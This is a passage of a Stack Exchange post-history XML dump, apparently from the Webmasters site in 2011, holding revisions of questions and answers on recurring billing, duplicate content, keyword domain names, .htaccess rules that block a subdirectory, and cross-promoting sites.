  <row Id="40382" PostHistoryTypeId="2" PostId="16866" RevisionGUID="6207e733-6a0e-4b7a-8e7d-6a661cab9914" CreationDate="2011-07-13T16:54:19.437" UserDisplayName="Shaul" Text="I'm writing a system that will bill people a certain recurring amount per month/quarter/year.  During that period, the customer may earn credits against his next bill.&#xD;&#xA;&#xD;&#xA;The approach I'm considering is to alter the customer's billing amount before the next billing cycle, then adjust it back up after the cycle.&#xD;&#xA;&#xD;&#xA;The problem I'm anticipating is that I know (from personal experience) that PayPal doesn't allow you to adjust a recurring billing amount by more than 20 or 25% (I forget which).  I haven't managed to get a clear answer from the developer forums on Auth.NET (my question [here][1] - nobody has answered in over 2 days), so I'm hoping one of the nice developers here on SO will have some experience dealing with PayPal and/or Auth.NET, and can give me some pointers as to what the best approach is to deal with this.&#xD;&#xA;&#xD;&#xA;Also, what should I do if the customer upgrades his account to a package that's more than the allowed increase percentage?  Should I kill his old profile and make him fill in his card/PayPal details again?  Or is there a way of doing this that obviates the need to make him pull out his credit card again?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.developer.authorize.net/t5/Integration-and-Testing/Changing-amounts-on-ARB/td-p/14358" />
  <row Id="40383" PostHistoryTypeId="1" PostId="16866" RevisionGUID="6207e733-6a0e-4b7a-8e7d-6a661cab9914" CreationDate="2011-07-13T16:54:19.437" UserDisplayName="Shaul" Text="Changing amounts on Authorize.NET/Paypal recurring payments" />
  <row Id="40384" PostHistoryTypeId="3" PostId="16866" RevisionGUID="6207e733-6a0e-4b7a-8e7d-6a661cab9914" CreationDate="2011-07-13T16:54:19.437" UserDisplayName="Shaul" Text="&lt;paypal&gt;&lt;ecommerce&gt;&lt;payment-gateway&gt;&lt;authorize.net&gt;" />
  <row Id="40385" PostHistoryTypeId="17" PostId="16867" RevisionGUID="73b2bdf4-1624-412e-8a8f-6d298fb06cd7" CreationDate="2011-07-15T03:02:10.560" UserId="-1" Comment="from http://stackoverflow.com/questions/6682618/changing-amounts-on-authorize-net-paypal-recurring-payments" Text="" />
  <row Id="40386" PostHistoryTypeId="6" PostId="16862" RevisionGUID="8000ed96-b0dd-475a-bb52-4ea4e9cd7f0f" CreationDate="2011-07-15T03:17:07.510" UserId="1253" Comment="modified tags" Text="&lt;php&gt;&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="40387" PostHistoryTypeId="2" PostId="16868" RevisionGUID="03c50ee4-12c2-4072-b0bd-2316f0a55714" CreationDate="2011-07-15T03:45:47.550" UserId="6776" Text="I'm curious - I want to know does Google check for duplicate content everytime it crawls a web page or once in 6 months or so.&#xD;&#xA;&#xD;&#xA;Do this checking similar to what Copyscape does? Wouldn't it be a big overhead, how does Google handle it?&#xD;&#xA;" />
  <row Id="40388" PostHistoryTypeId="1" PostId="16868" RevisionGUID="03c50ee4-12c2-4072-b0bd-2316f0a55714" CreationDate="2011-07-15T03:45:47.550" UserId="6776" Text="How often Google checks for duplicate content" />
  <row Id="40389" PostHistoryTypeId="3" PostId="16868" RevisionGUID="03c50ee4-12c2-4072-b0bd-2316f0a55714" CreationDate="2011-07-15T03:45:47.550" UserId="6776" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="40390" PostHistoryTypeId="2" PostId="16869" RevisionGUID="4ff210e6-d25f-4eeb-a85b-708f70dde433" CreationDate="2011-07-15T03:50:36.203" UserId="6776" Text="I mean if I check using copyscape when buying articles is it going to be fool-proof way of knowing if it was never published on internet?&#xD;&#xA;&#xD;&#xA;I understand it would not catch those articles who haven't been indexed yet by say Google( within 6 weeks or so). " />
  <row Id="40391" PostHistoryTypeId="1" PostId="16869" RevisionGUID="4ff210e6-d25f-4eeb-a85b-708f70dde433" CreationDate="2011-07-15T03:50:36.203" UserId="6776" Text="Could copyscape checked content be a duplicate" />
  <row Id="40392" PostHistoryTypeId="3" PostId="16869" RevisionGUID="4ff210e6-d25f-4eeb-a85b-708f70dde433" CreationDate="2011-07-15T03:50:36.203" UserId="6776" Text="&lt;duplicate-content&gt;" />
  <row Id="40393" PostHistoryTypeId="2" PostId="16870" RevisionGUID="ce6f3620-3cef-4306-8746-e53c50da91bc" CreationDate="2011-07-15T03:58:43.607" UserId="1253" Text="Foolproof? No. They may not catch content not yet indexed by Google. But practically speaking it seems like a reliable tool to use and I would say you can trust its results with a good deal of confidence. &#xD;&#xA;&#xD;&#xA;If you *really* want to be sure use Copyscape *and* do a Google search for some unique phrase in the content as well. If both turn up negative that's about as sure as you can get." />
  <row Id="40394" PostHistoryTypeId="2" PostId="16871" RevisionGUID="beb8b9ea-1533-491a-8ca0-82fd52675e5b" CreationDate="2011-07-15T04:00:40.097" UserId="1253" Text="They haven't said how often they do it so no one really knows. But their &quot;Panda&quot; algorithm has been processed three times which would indicate they accumulate information over a period of several weeks and then do a bulk update of their index based on their accumulated data." />
  <row Id="40395" PostHistoryTypeId="5" PostId="16838" RevisionGUID="eb703223-8cb5-4b59-a895-4104f6108e63" CreationDate="2011-07-15T04:05:21.220" UserId="4306" Comment="updated with info from comment for clarity" Text="My page titles are dynamically created with PHP: I set my page title in my PHP functions, and when the function is triggered the title is set.&#xD;&#xA;&#xD;&#xA;Is Google able to read the page titles? " />
  <row Id="40396" PostHistoryTypeId="24" PostId="16838" RevisionGUID="eb703223-8cb5-4b59-a895-4104f6108e63" CreationDate="2011-07-15T04:05:21.220" Comment="Proposed by 4306 approved by 1253 edit id of 438" />
  <row Id="40397" PostHistoryTypeId="5" PostId="16870" RevisionGUID="342c41dd-7038-4249-930b-efd543bbad36" CreationDate="2011-07-15T04:09:35.543" UserId="1253" Comment="deleted 166 characters in body" Text="Foolproof? No. But it does use Google's API so it is getting the largest set of data to compare to which is a good thing. So basically any content that is not blocked to Google's crawlers *should* be caught with Copyscape." />
  <row Id="40398" PostHistoryTypeId="5" PostId="16869" RevisionGUID="75151834-d4ac-46d3-8438-c234d935c9e9" CreationDate="2011-07-15T04:19:14.547" UserId="1253" Comment="deleted 3 characters in body; edited tags; edited title" Text="I mean if I check using copyscape when buying articles is it going to be fool-proof way of knowing if it was never published on internet? I understand it would not catch those articles who haven't been indexed yet by say Google (within 6 weeks or so). " />
  <row Id="40399" PostHistoryTypeId="4" PostId="16869" RevisionGUID="75151834-d4ac-46d3-8438-c234d935c9e9" CreationDate="2011-07-15T04:19:14.547" UserId="1253" Comment="deleted 3 characters in body; edited tags; edited title" Text="Could content checked by Copyscape still be a duplicate?" />
  <row Id="40400" PostHistoryTypeId="6" PostId="16869" RevisionGUID="75151834-d4ac-46d3-8438-c234d935c9e9" CreationDate="2011-07-15T04:19:14.547" UserId="1253" Comment="deleted 3 characters in body; edited tags; edited title" Text="&lt;seo&gt;&lt;duplicate-content&gt;&lt;copyscape&gt;" />
  <row Id="40401" PostHistoryTypeId="5" PostId="16870" RevisionGUID="5642d9a3-e25d-4739-9c5a-f248299a8000" CreationDate="2011-07-15T04:19:49.477" UserId="1253" Comment="added 28 characters in body" Text="Foolproof? No. But it does use Google's API so it is getting the largest set of data to compare to which is a good thing. So basically any content that is not blocked to Google's crawlers or has not been indexed yet *should* be caught with Copyscape." />
  <row Id="40402" PostHistoryTypeId="4" PostId="16868" RevisionGUID="505e63ad-1e79-46db-925b-4767f9d6a8f4" CreationDate="2011-07-15T04:22:27.433" UserId="1253" Comment="edited tags; edited title" Text="How often Google checks for duplicate content?" />
  <row Id="40403" PostHistoryTypeId="6" PostId="16868" RevisionGUID="505e63ad-1e79-46db-925b-4767f9d6a8f4" CreationDate="2011-07-15T04:22:27.433" UserId="1253" Comment="edited tags; edited title" Text="&lt;seo&gt;&lt;google&gt;&lt;duplicate-content&gt;" />
  <row Id="40404" PostHistoryTypeId="2" PostId="16872" RevisionGUID="3bb45ba9-50e3-4c82-b60c-0ca549ea572a" CreationDate="2011-07-15T04:59:46.837" UserId="8970" Text="Suppose, I have 3 domain name phrases namely&#xD;&#xA;&#xD;&#xA;thisisfirst.com &gt; competition is 11% and global monthly search is &#xD;&#xA;&#xD;&#xA;151,000,000.&#xD;&#xA;&#xD;&#xA;thisissecond.com &gt; competition is 5% and global monthly search is &#xD;&#xA;&#xD;&#xA;33,50,000&#xD;&#xA;&#xD;&#xA;thisisthird.com &gt; competition is 1% and global monthly search is &#xD;&#xA;&#xD;&#xA;49,500, local search is 3,600&#xD;&#xA;&#xD;&#xA;Please state your opinion as why would you choose any one among these &#xD;&#xA;&#xD;&#xA;three?&#xD;&#xA;&#xD;&#xA;Thanks....&#xD;&#xA;" />
  <row Id="40405" PostHistoryTypeId="1" PostId="16872" RevisionGUID="3bb45ba9-50e3-4c82-b60c-0ca549ea572a" CreationDate="2011-07-15T04:59:46.837" UserId="8970" Text="Google competition and google global searches relations with domain name. Help me choose!!!" />
  <row Id="40406" PostHistoryTypeId="3" PostId="16872" RevisionGUID="3bb45ba9-50e3-4c82-b60c-0ca549ea572a" CreationDate="2011-07-15T04:59:46.837" UserId="8970" Text="&lt;seo&gt;&lt;domain-names&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;" />
  <row Id="40407" PostHistoryTypeId="2" PostId="16873" RevisionGUID="fac81128-bde3-4843-84c8-4475faa91bb3" CreationDate="2011-07-15T05:11:57.637" UserId="8970" Text="Suppose, if I want to be listed top for query &quot;where is obama from&quot; &#xD;&#xA;&#xD;&#xA;and I have registered a keyword phrase domain whereisobamafrom.com, &#xD;&#xA;&#xD;&#xA;How can I achieve the first place in google for the same query?&#xD;&#xA;&#xD;&#xA;Note : I do understand that it is unlikely that my website will be &#xD;&#xA;&#xD;&#xA;listed on top, just because the domain have the exact matching phrase &#xD;&#xA;&#xD;&#xA;(query)...&#xD;&#xA;&#xD;&#xA;Thanks..." />
  <row Id="40408" PostHistoryTypeId="1" PostId="16873" RevisionGUID="fac81128-bde3-4843-84c8-4475faa91bb3" CreationDate="2011-07-15T05:11:57.637" UserId="8970" Text="exact matching phrase domain - how can I achieve top position in google..." />
  <row Id="40409" PostHistoryTypeId="3" PostId="16873" RevisionGUID="fac81128-bde3-4843-84c8-4475faa91bb3" CreationDate="2011-07-15T05:11:57.637" UserId="8970" Text="&lt;seo&gt;&lt;domains&gt;&lt;domain-names&gt;&lt;seo-friendly&gt;" />
  <row Id="40410" PostHistoryTypeId="2" PostId="16874" RevisionGUID="3ce55a96-f894-4081-ac18-cbfb21003557" CreationDate="2011-07-15T05:21:49.543" UserId="8970" Text="Suppose, If I want to target keyword phrase &quot;make fun&quot; and &quot;make fun &#xD;&#xA;&#xD;&#xA;of&quot; and &quot;how to make fun of&quot;.&#xD;&#xA;&#xD;&#xA;which would be a good domain name to choose from below and WHY?&#xD;&#xA;&#xD;&#xA;makefun.com makefunof.com howtomakefunof.com&#xD;&#xA;&#xD;&#xA;ALSO, would it be good to purchase all the 3 domain names, if YES, &#xD;&#xA;&#xD;&#xA;how can I put them to use and for what?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="40411" PostHistoryTypeId="1" PostId="16874" RevisionGUID="3ce55a96-f894-4081-ac18-cbfb21003557" CreationDate="2011-07-15T05:21:49.543" UserId="8970" Text="Share your knowledge to help me understand Domain names choosing factor. I have given an example." />
  <row Id="40412" PostHistoryTypeId="3" PostId="16874" RevisionGUID="3ce55a96-f894-4081-ac18-cbfb21003557" CreationDate="2011-07-15T05:21:49.543" UserId="8970" Text="&lt;seo&gt;&lt;domains&gt;&lt;domain-names&gt;&lt;seo-friendly&gt;" />
  <row Id="40413" PostHistoryTypeId="17" PostId="16875" RevisionGUID="76110003-0481-4f75-8491-29566fcb3878" CreationDate="2011-07-15T05:23:44.827" UserId="-1" Comment="from http://stackoverflow.com/questions/5386576/how-to-create-htaccess-to-block-access-to-a-subdirectory-that-hosts-a-separate-d" Text="" />
  <row Id="40414" PostHistoryTypeId="17" PostId="16876" RevisionGUID="ffb17018-52c5-4b9c-958f-5651306eab94" CreationDate="2011-07-15T05:23:44.827" UserId="-1" Comment="from http://stackoverflow.com/questions/5386576/how-to-create-htaccess-to-block-access-to-a-subdirectory-that-hosts-a-separate-d" Text="" />
  <row Id="40415" PostHistoryTypeId="17" PostId="16877" RevisionGUID="e111eea8-c5f1-4c23-ba50-43f2c16e0bfc" CreationDate="2011-07-15T05:23:44.827" UserId="-1" Comment="from http://stackoverflow.com/questions/5386576/how-to-create-htaccess-to-block-access-to-a-subdirectory-that-hosts-a-separate-d" Text="" />
  <row Id="40416" PostHistoryTypeId="17" PostId="16878" RevisionGUID="49ec2d7e-8a4d-4f3a-a1b1-932f449467c1" CreationDate="2011-07-15T05:23:44.827" UserId="-1" Comment="from http://stackoverflow.com/questions/5386576/how-to-create-htaccess-to-block-access-to-a-subdirectory-that-hosts-a-separate-d" Text="" />
  <row Id="40417" PostHistoryTypeId="2" PostId="16876" RevisionGUID="d3c7b37e-a36a-480a-b584-bdc2aa4f7167" CreationDate="2011-03-22T04:15:17.767" UserDisplayName="ritu" Text="Can you try this rule in your .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^me\.com [NC]&#xD;&#xA;    RewriteRule ^/mom/.*$ some-error-page.html [L,R]" />
  <row Id="40418" PostHistoryTypeId="2" PostId="16877" RevisionGUID="19bc4ed4-e20c-445c-97b4-33769b04516e" CreationDate="2011-03-22T04:16:39.283" UserId="6903" Text="**Edit: Fixed an error!**&#xD;&#xA;&#xD;&#xA;This is the theory:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} mom.com$ [NC]&#xD;&#xA;    RewriteRule ^mom/ - [R=404,L]&#xD;&#xA;&#xD;&#xA;On some versions, if the above doesn't work, you can do this ugly trick&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} mom.com$ [NC]&#xD;&#xA;    RewriteRule ^mom/ /someurlthatdoesntexist [L]&#xD;&#xA;&#xD;&#xA;If you're fine with a 403 forbidden instead of a 404 not fund, you can use the F option.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} mom.com$ [NC]&#xD;&#xA;    RewriteRule ^mom/ - [F,L]&#xD;&#xA;&#xD;&#xA;However, there's one more thing to consider. .htaccess files are scanned from the top level and down, so if mom.com has any .htaccess files, they will take precedence. What you can do then, is the add the following to the .htaccess files **in mom.com**. This should be at the top of the files (right after `RewriteEngine On`).&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !mom.com$ [NC]&#xD;&#xA;    RewriteRule . - [R=404,L]&#xD;&#xA;&#xD;&#xA;Note the added `!`, which means match if the domain is **not** mom.com. Also note the `.` which means &quot;catch all&quot;.&#xD;&#xA;&#xD;&#xA;Replace `- [R=404,L]` with any of the other patterns as needed." />
  <row Id="40419" PostHistoryTypeId="2" PostId="16878" RevisionGUID="18d73665-2ac6-4be7-a7ea-b772a52a579c" CreationDate="2011-03-23T03:24:30.640" UserDisplayName="Stan" Text="Thanks for the input, I based on your help I got it working, but in a slightly different way: I found this article on BlueHost (my host) that had the correct code to get it working:&#xD;&#xA;&#xD;&#xA;http://www.bluehost.com/cgi/help/498&#xD;&#xA;&#xD;&#xA;The code I used was:&#xD;&#xA;&#xD;&#xA;    Options +SymLinksIfOwnerMatch&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www.)?me.com$ [NC]&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/mom/(.*)$&#xD;&#xA;    RewriteRule ^(.*)$ - [L,R=404]&#xD;&#xA;&#xD;&#xA;I think the REQUEST_URI was what was missing.&#xD;&#xA;&#xD;&#xA;This works in either the public_html or the /mom/ subdirectory .htaccess files&#xD;&#xA;&#xD;&#xA;Thanks again for the help!" />
  <row Id="40420" PostHistoryTypeId="2" PostId="16875" RevisionGUID="25985917-7668-4090-8015-1a46b89c98fa" CreationDate="2011-03-22T03:53:17.847" UserDisplayName="Stan" Text="So I am pretty noob at with creating code in .htaccess, but I know it is what I need to accomplish a pretty simple task. So here is what I want to do.&#xD;&#xA;&#xD;&#xA;I have a main domain, (me.com), and I am hosting files for my mom's website (mom.com) in a subdirectory in my public_html folder so that (mom.com) uses files from (me.com/mom).&#xD;&#xA;&#xD;&#xA;all I want to do is make it so that anyone trying to access her site through (me.com/mom) gets an error, without disturbing the visitors to (mom.com).&#xD;&#xA;&#xD;&#xA;Thanks in Advance&#xD;&#xA;" />
  <row Id="40421" PostHistoryTypeId="1" PostId="16875" RevisionGUID="25985917-7668-4090-8015-1a46b89c98fa" CreationDate="2011-03-22T03:53:17.847" UserDisplayName="Stan" Text="How to create .htaccess to block access to a subdirectory that hosts a separate domain" />
  <row Id="40422" PostHistoryTypeId="3" PostId="16875" RevisionGUID="25985917-7668-4090-8015-1a46b89c98fa" CreationDate="2011-03-22T03:53:17.847" UserDisplayName="Stan" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;subdomain&gt;&lt;rewrite&gt;" />
  <row Id="40426" PostHistoryTypeId="25" PostId="16868" RevisionGUID="bde19070-3347-4c5b-93f2-dc16cbe796d9" CreationDate="2011-07-15T06:31:42.510" Comment="http://twitter.com/#!/StackWebmasters/status/91756806619144192" />
  <row Id="40429" PostHistoryTypeId="2" PostId="16881" RevisionGUID="3d6540eb-ec7f-4ae0-8e13-7a72af1297d2" CreationDate="2011-07-15T06:53:14.440" UserId="7198" Text="Using keywords in your domain name will improve your chances of being well ranked for those keywords, but you need to provide useful content (that also contains those keywords) in order to rank well.&#xD;&#xA;&#xD;&#xA;Google's mission is to order the world's information by returning relevant information to anyone who seeks it. If your site provides nothing of relevance beyond the domain name, Google has little reason to return it in search results.&#xD;&#xA;&#xD;&#xA;Also note that Google is considering reducing the weight placed on [keywords in domain names](http://www.seobook.com/googles-matt-cutts-talks-down-keyword-domain-names) so, even though you might benefit now from using this approach, don't bank on it lasting forever.&#xD;&#xA;&#xD;&#xA;For general advice about improving page rankings, see [this question.](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)" />
  <row Id="40430" PostHistoryTypeId="2" PostId="16882" RevisionGUID="878889e2-c390-408b-9485-fbe8fb9ecf5e" CreationDate="2011-07-15T07:08:40.587" UserId="7198" Text="You may wish to do your own keyword research to discover which of the three variants you've listed result in the most search requests, and how much competition there is for those keywords among existing domains.&#xD;&#xA;&#xD;&#xA;Generally, though, the shorter the domain the better. This is because, if you're going to rank well for a term, it's most likely to be because you provide useful content that people will link to and remember. Short domains are simply easier to type and remember.&#xD;&#xA;&#xD;&#xA;As I mentioned in my answer to your [other question](http://webmasters.stackexchange.com/questions/16873/exact-matching-phrase-domain-how-can-i-achieve-top-position-in-google), Google is considering removing the weight it places on keywords in domains. So, whatever domain you pick, you should optimise both the name and the content for humans first and Google second.&#xD;&#xA;&#xD;&#xA;The only good reason to purchase multiple variants is to guard against people mistyping them. Having multiple variations of a phrase redirecting to a single page does not add reputation or increase rankings for that page. It just makes it easier to land on by accident." />
  <row Id="40431" PostHistoryTypeId="5" PostId="16873" RevisionGUID="b15a164f-13de-4151-b7cd-9b19c76d84ad" CreationDate="2011-07-15T07:13:13.783" UserId="7198" Comment="deleted 215 characters in body; edited title" Text="If I want to be listed top for the query &quot;where is obama from&quot;, what more do I have to do beyond registering a keyword phrase domain such as whereisobamafrom.com?&#xD;&#xA;" />
  <row Id="40432" PostHistoryTypeId="4" PostId="16873" RevisionGUID="b15a164f-13de-4151-b7cd-9b19c76d84ad" CreationDate="2011-07-15T07:13:13.783" UserId="7198" Comment="deleted 215 characters in body; edited title" Text="Is using keywords in a domain enough to ensure a top position in Google?" />
  <row Id="40433" PostHistoryTypeId="5" PostId="16874" RevisionGUID="7ab8688f-fca7-4551-abd7-a154eb5e0122" CreationDate="2011-07-15T07:15:47.103" UserId="7198" Comment="deleted 26 characters in body; edited title" Text="If I want to target the keyword phrases &quot;make fun&quot;, &quot;make fun of&quot;, and &quot;how to make fun of&quot;, which is the best domain to choose of the following three and why?&#xD;&#xA;&#xD;&#xA; - makefun.com&#xD;&#xA; - makefunof.com&#xD;&#xA; - howtomakefunof.com&#xD;&#xA;&#xD;&#xA;Also, would it be good to purchase all three domain names and, if so, what should I do with them?" />
  <row Id="40434" PostHistoryTypeId="4" PostId="16874" RevisionGUID="7ab8688f-fca7-4551-abd7-a154eb5e0122" CreationDate="2011-07-15T07:15:47.103" UserId="7198" Comment="deleted 26 characters in body; edited title" Text="How do I decide which domain name will rank better for my keywords?" />
  <row Id="40435" PostHistoryTypeId="5" PostId="16882" RevisionGUID="a08cf5f2-c816-4373-9ab1-f94d0906334f" CreationDate="2011-07-15T07:17:39.893" UserId="7198" Comment="added 18 characters in body" Text="You may wish to do your own keyword research to discover which of the three variants you've listed result in the most search requests, and how much competition there is for those keywords among existing domains.&#xD;&#xA;&#xD;&#xA;Generally, though, the shorter the domain the better. This is because, if you're going to rank well for a term, it's most likely to be because you provide useful content that people will link to and remember. Short domains are simply easier to type and remember.&#xD;&#xA;&#xD;&#xA;As I mentioned in my answer to your [other question](http://webmasters.stackexchange.com/questions/16873/exact-matching-phrase-domain-how-can-i-achieve-top-position-in-google), Google is considering removing the weight it places on keywords in domains. So, whatever domain you pick, you should optimise both the name and the content for humans first and Google second.&#xD;&#xA;&#xD;&#xA;The only good reason to purchase multiple variants is to guard against people mistyping or misremembering them. Having multiple variations of a phrase redirecting to a single page does not add reputation or increase rankings for that page. It just makes it easier to land on by accident." />
  <row Id="40436" PostHistoryTypeId="2" PostId="16883" RevisionGUID="8e5fbf24-1dfe-48d5-9c7e-7de9a2783a1c" CreationDate="2011-07-15T07:47:20.363" UserId="1240" Text="Just thinking about SEO this is a very good question.  My personal opinion is that I would pick the third option, try and get 50% of those 49,000 a month and from that be able to build a platform where you get traffic not just because of your name, with links going into your site (perhaps using the first term's wording) you could become a competitor in those other levels.&#xD;&#xA;&#xD;&#xA;Are we to assume those that the three choices all make good marketing sense if you ignore SEO, do they reflect the brand/product/site well and would humans find them all easy to type and remember?&#xD;&#xA;&#xD;&#xA;If, for example the third option was just a really weird spelling of the first example with another word added to the start or end then there is a reason why so few people search for it each month." />
  <row Id="40437" PostHistoryTypeId="2" PostId="16884" RevisionGUID="a7ebc172-a2d6-480a-b5f6-89bb58577409" CreationDate="2011-07-15T08:02:55.097" UserId="1240" Text="With time the amount of sites I have under my wing has grown and diversified such that visitors to site `A` wouldn't care one bit about site `B` that I control. (There are 7 different sites in my example but I couldn't be bothered typing letters all day!)&#xD;&#xA;&#xD;&#xA;I was wondering what people did (if anything) to promote sites you have a vest interest in that don't fit well with each other?&#xD;&#xA;&#xD;&#xA;Is it wise to have a central hub, almost like a portfolio site, which would have all the links out and each site would link to it?&#xD;&#xA;&#xD;&#xA;Taking that idea further, should this be like a network? (similar maybe to the Cheezburger one).&#xD;&#xA;&#xD;&#xA;Should none of the sites really talk to each other unless there is some relationship between them?&#xD;&#xA;&#xD;&#xA;I should point out from the offset - I understand the implications of sites on the same server linking to each other, I am not looking to do anything for any sort of SEO benefit, almost more of a 'well you like this one site I look after, maybe you would like these ones too'" />
  <row Id="40438" PostHistoryTypeId="1" PostId="16884" RevisionGUID="a7ebc172-a2d6-480a-b5f6-89bb58577409" CreationDate="2011-07-15T08:02:55.097" UserId="1240" Text="Cross promoting sites you own." />
  <row Id="40439" PostHistoryTypeId="3" PostId="16884" RevisionGUID="a7ebc172-a2d6-480a-b5f6-89bb58577409" CreationDate="2011-07-15T08:02:55.097" UserId="1240" Text="&lt;multiple-domains&gt;&lt;website-promotion&gt;" />
  <row Id="40440" PostHistoryTypeId="5" PostId="16872" RevisionGUID="018cff87-1b88-4bc4-a02c-d62f16d0ef4f" CreationDate="2011-07-15T08:35:41.293" UserId="7198" Comment="deleted 69 characters in body; edited title" Text="Suppose I have 3 domain name phrases:&#xD;&#xA;&#xD;&#xA;1. thisisfirst.com (competition is 11% and global monthly search is 151,000,000)&#xD;&#xA;&#xD;&#xA;2. thisissecond.com (competition is 5% and global monthly search is 33,50,000)&#xD;&#xA;&#xD;&#xA;3. thisisthird.com (competition is 1%, global monthly search is 49,500, local search is 3,600)&#xD;&#xA;&#xD;&#xA;How can I decide which domain to use?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40441" PostHistoryTypeId="4" PostId="16872" RevisionGUID="018cff87-1b88-4bc4-a02c-d62f16d0ef4f" CreationDate="2011-07-15T08:35:41.293" UserId="7198" Comment="deleted 69 characters in body; edited title" Text="How do I choose a domain name based on monthly searches for keywords?" />
  <row Id="40442" PostHistoryTypeId="2" PostId="16885" RevisionGUID="96e3a741-047a-4e0d-8967-876f66ea68e9" CreationDate="2011-07-15T08:36:40.847" UserId="9147" Text="What factors should we consider, when building an Q'n'A website which is solely based on organic searches?&#xD;&#xA;&#xD;&#xA;Note: I am gathering all information about starting a website driven solely on organic searches. &#xD;&#xA;&#xD;&#xA;**Even a minute detail here will help me a lot.**&#xD;&#xA;&#xD;&#xA;Please enlighten me.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="40443" PostHistoryTypeId="1" PostId="16885" RevisionGUID="96e3a741-047a-4e0d-8967-876f66ea68e9" CreationDate="2011-07-15T08:36:40.847" UserId="9147" Text="Factors for websites enjoying solely on organic searches." />
  <row Id="40444" PostHistoryTypeId="3" PostId="16885" RevisionGUID="96e3a741-047a-4e0d-8967-876f66ea68e9" CreationDate="2011-07-15T08:36:40.847" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;google-webmaster-tools&gt;&lt;seo-friendly&gt;" />
  <row Id="40445" PostHistoryTypeId="2" PostId="16886" RevisionGUID="0db39bc9-e388-44cf-8745-bc35148de3f4" CreationDate="2011-07-15T08:37:44.747" UserId="8687" Text="You need to:&#xD;&#xA;&#xD;&#xA; - use the words &quot;where is obama from&quot; in your page text&#xD;&#xA; - use the words &quot;where is obama from&quot; in image alt text&#xD;&#xA; - use the words &quot;where is obama from&quot; in your meta description, meta tags etc.&#xD;&#xA; - Get important websites to link to your site using the words &quot;[where is obama from][1]&quot;&#xD;&#xA;&#xD;&#xA;The actual text in the domain name itself is only of minor importance compared with the factors listed above.&#xD;&#xA;&#xD;&#xA;  [1]: http://hawaii.gov/" />
  <row Id="40446" PostHistoryTypeId="2" PostId="16887" RevisionGUID="d66e9635-b63a-4a9e-b646-4741d85cc210" CreationDate="2011-07-15T08:56:47.750" UserId="9147" Text="I am just wondering how this site - indiahowto(dot)com **with just 438 pages** is managing to **achieve 7,675 pageviews per day** with just organic searches.&#xD;&#xA;&#xD;&#xA;Note : I believe it is not listed in dmoz or have any backlinks. It is purely based on organic searches.&#xD;&#xA;&#xD;&#xA;Please share your knowledge, thoughts and observations on this.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="40447" PostHistoryTypeId="1" PostId="16887" RevisionGUID="d66e9635-b63a-4a9e-b646-4741d85cc210" CreationDate="2011-07-15T08:56:47.750" UserId="9147" Text="438 web pages, 7,675 page view per day from organic searches, just wondering how?" />
  <row Id="40448" PostHistoryTypeId="3" PostId="16887" RevisionGUID="d66e9635-b63a-4a9e-b646-4741d85cc210" CreationDate="2011-07-15T08:56:47.750" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;pagerank&gt;&lt;seo-friendly&gt;" />
  <row Id="40449" PostHistoryTypeId="2" PostId="16888" RevisionGUID="65efcff4-f205-4780-ab64-ac89b8413c16" CreationDate="2011-07-15T09:22:56.707" UserId="7198" Text="Do everything you can to cross-promote them, but consider improving the experience for visitors by unifying the design, writing style, and intended audience across the network, even if the subject matter itself differs wildly.&#xD;&#xA;&#xD;&#xA;There are successful website networks that have no apparent connection between the sites they contain, and others linked by a common theme and targeted at a particular niche. Both use similar techniques for cross-promotion, and you might like to adopt some or all of them:&#xD;&#xA;&#xD;&#xA;###Add links in the footer to all sites&#xD;&#xA;Examples include the Stack Exchange network, with its related sites area (ordered by launch date):&#xD;&#xA;&#xD;&#xA;![stack exchange footer links for cross promotion][1]&#xD;&#xA;&#xD;&#xA;but extend to seemingly unrelated sites, such as those in the footer of the Gawker media network:&#xD;&#xA;&#xD;&#xA;![gawker media footer links for cross promotion][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Consider a 'site switcher' in the header&#xD;&#xA;If the site network is large (or loosely related) make the switcher discreet, like Envato does for its network:&#xD;&#xA;&#xD;&#xA;![envato related site switcher][3]&#xD;&#xA;&#xD;&#xA;If the sites are more closely related, consider something a little more prominent that puts each site in its own tab unified across the network, like the Cheezburger abomination you mention:&#xD;&#xA;&#xD;&#xA;![enter image description here][4]&#xD;&#xA;&#xD;&#xA;###Consider unifying the template and design of all sites&#xD;&#xA;If you're going to create a site network—even of seemingly disparate sites—it doesn't hurt to unify the look and feel. Not only does it tell visitors that they're on your network, but it enables you to share resources (like stylesheets) to reduce page load time for subsequent sites a user visits, and launch new sites faster.&#xD;&#xA;&#xD;&#xA;###Consider unifying the writing style and target audience of the sites&#xD;&#xA;If you're determined to pass traffic around between multiple sites, the strategy's likely to be more successful if there's not such a marked disconnect between the writing style and intended audience of all of your sites.&#xD;&#xA;&#xD;&#xA;###Summary&#xD;&#xA;It might seem crazy linking unrelated sites together, but people often have diverse enough interests to make it worthwhile. By unifying the look and feel of sites while giving each one its own personality, you can take advantage of traffic you've already captured and minimise the amount of development and marketing required when launching new projects.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/aPvAM.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/F00oN.png&#xD;&#xA;  [3]: 